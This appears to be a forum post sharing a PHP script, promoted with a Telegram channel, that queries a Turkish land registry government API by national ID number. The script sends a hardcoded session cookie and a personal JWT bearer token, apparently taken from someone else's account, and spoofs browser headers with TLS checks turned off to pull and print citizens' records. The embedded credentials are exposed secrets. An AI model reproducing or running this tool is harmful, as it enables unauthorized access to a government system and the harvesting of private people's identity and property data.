Kod:
<?php
header("Content-Type: application/json; utf-8;");
$cookie = "citrix_ns_id=AAA7OTD-YzsSYvIAAAAAADv4swhoxw19gBbDO2xc9O26m8QSqoQq5V5BIb7fB8nqOw==vTP-Yw==g4hEMegfmIS-hdgfjVM9volHSGc=";
$tc = $_GET['tc'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://cbsapi.tkgm.gov.tr/megsiswebapi.v3/api/zemin//$tc");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept: application/json, text/plain, */*',
'Accept-Encoding: gzip, deflate, br',
'Accept-Language: tr-TR,tr;q=0.9',
'Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0aWQiOiIzZDM1Njc2NS1jYzU4LTQ2MWYtOWQ4ZC04MTZkOWRiOTJiYTciLCJ1c3IiOiI0NTg1MDcyMjMwNiIsImJybSI6MTM2OCwiZGVwIjoxMzY4LCJkaWwiOjF9.y-iNT9ifZKgX6xMPAeX0NisEwyAzjejotfd2CjNSbf8',
'Connection: keep-alive',
'Host: cbsapi.tkgm.gov.tr',
'Sec-Fetch-Site: same-origin',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
));
$resp = curl_exec($ch);
print_r($resp);
?>
[CENTER][b]İYİ KULLANMALAR
TELEGRAM t.me/qruexofficial[/b][/CENTER]